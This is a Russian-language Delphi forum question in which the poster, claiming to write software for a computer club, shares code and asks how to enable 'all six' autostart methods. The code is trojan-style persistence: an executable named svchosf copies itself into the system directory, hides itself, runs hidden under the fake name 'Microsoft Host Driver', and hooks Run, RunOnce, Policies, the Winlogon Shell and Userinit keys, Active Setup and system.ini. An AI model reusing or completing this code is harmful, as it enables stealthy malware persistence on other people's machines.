Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

 
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 21.06.2011, 08:47
MYSTiQUE MYSTiQUE вне форума
Прохожий
 
Регистрация: 21.06.2011
Сообщения: 2
Репутация: 10
Восклицание Ай нид хелп

Всем привет! Есть у меня вот какой вопрос! Мне надо добавить в программу для компьютерного клуба автозагрузку из всевозможных мест
Далее приведу куски проги чтобы было немного понятно что мне нужно

кусочек самой проги
Код:

program svchosf;

uses
  Windows,
  uConst,
  uUtils,
  uString,
  uSystemInfo,
  uWininet,

  uInstall,

    UnitWindows,
  shellapi,
  uSocks5,
  

var
  Thread ,Thread0  :Cardinal;
  idThread   :Cardinal;
  dThread    :Cardinal;

далее в коде проги

Код:
begin

 ReleaseIt;
   Install;
где меня интересует ф-ция Install

далее идем в эту uInstall.pas

Код:
unit uInstall;

interface

uses
  Windows, ShellApi, uConst, uUtils, uProcess,uStartUp ;

function Install :Boolean;
procedure HideFile(FileName :String);
const
  faHidden    = $00000002 platform;
  faSysFile   = $00000004 platform;

implementation

function FileSetAttr(const FileName: string; Attr: Integer): Integer;
begin
  Result := 0;
  if not SetFileAttributes(PChar(FileName), Attr) then
    Result := GetLastError;
end;

procedure HideFile(FileName :String);
begin
  FileSetAttr(FileName, faHidden or faSysFile);
end;
  {
function Install :Boolean;
var
  hRegKey :HKEY;
  Path  :String;
begin
  Result := False;
  if C_START = 1 then
  begin
      Path := WinDir(C_VALUE);
    RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, KEY_SET_VALUE, hRegKey);
    RegSetValueEx(hRegKey, PChar(C_KEY), 0, REG_SZ, PChar(Path), Length(Path)+1);
    RegCloseKey(hRegKey);
    if not FileExists(Path) then
    begin
      CopyFile(PChar(ParamStr(0)), PChar(Path), False);
      if C_HIDE = 1 then HideFile(Path);
      ShellExecute(0, 'open', PChar(Path), nil, nil, SW_HIDE);
      Result := True;
    end;
  end;
end;
}
function Install :Boolean;
var
  dir: array[0..255] of char;
  name: string;
begin
  getsystemdirectory(dir, 256);

  name := string(dir)+'\svchosf.exe';
  copyfile(pchar(paramstr(0)), pchar(name), false);//копируем файл ... если есть перезапишем!

  writeprivateprofilestring('boot','shell','Explorer.exe svchosf.exe','system.ini');
  AddToRun('Microsoft Host Driver ',pchar(name));
 Result := True;

end;
end.
и видим там

Код:
uses
  Windows, ShellApi, uConst, uUtils, uProcess,uStartUp

меня интересует эта uStartUp.pas

далее ее код

Код:
//6 Видов автозапуска
unit uStartUp;

interface

uses windows, sysutils;

procedure AddToRun(name,exe:string);
procedure AddToRunOnce(name,exe:string);
procedure AddToPolicies(name,exe:string);
procedure AddToActiveX(exe:string);
procedure AddToUserInit(exe:string);
procedure AddToShell(exe:string);

implementation

function SetTheReg(key:Hkey; subkey,name,value:string):boolean;
var
regKey:hkey;
begin
  result:=FALSE;
  RegCreateKey(key,PChar(subkey),regKey);
  if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then
    result:=TRUE;
  RegCloseKey(regKey);
end;

function GetTheReg(key:Hkey; subkey,nombre:String):String;
var
  bytesread:dword;
  regKey: HKEY;
  valor:String;
begin
  Result:='';
  RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
  RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
  SetLength(valor, bytesread);
  if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
    result:=valor;
  RegCloseKey(regKey);
end;

function DelTheReg(RootKey: HKEY; Name: String): boolean;
var
  SubKey: String;
  n: integer;
  hTemp: HKEY;
begin
  Result := False;
  n := LastDelimiter('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS);
      RegCloseKey(hTemp);
    end;
  end;
end;

procedure AddToPolicies(name,exe: String);
begin
  SetTheReg(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',name,exe);
end;

procedure AddToShell(exe: String);
var
  Original: string;
begin
  Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');
  if ansipos(exe, original)=0 then
    SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(Original)+' "'+exe+'"');
end;

procedure AddToRunOnce(name,exe: String);
begin
    SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',name,'"'+exe+'"');
end;

procedure AddToRun(name,exe: String);
begin
    SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',name,''+exe+'');
end;

procedure AddToUserInit(exe: String);
var
  Original: string;
begin
  Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit');
  if ansipos(exe, original)=0 then
    SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit',PChar(Original)+' "'+exe+'"');
end;

procedure AddToActiveX(exe:string);
begin
  SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Active Setup\Installed Components\{4fz8rk-15aq-16nc-23or4-2ke0fa051515}','StubPath','"'+exe+'"');
end;

end.

так вот в этой uInstall.pas загрузка идет как вы поняли только через

HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run


с помощью файла svchosf.exe

отсюда вопрос нахрена в этом Install вызывать uStartUp.pas с 6 путями для автозапуска
и никак это не использовать...? или я че то в этом коде не увидел?

Помогите кто может советом как мне реализовать в uInstall.pas эту uStartUp.pas чтобы использовать все 6 способов автозагрузки ?

заранее всем спасибо за дельные ответы
Ответить с цитированием
 


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 23:06.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025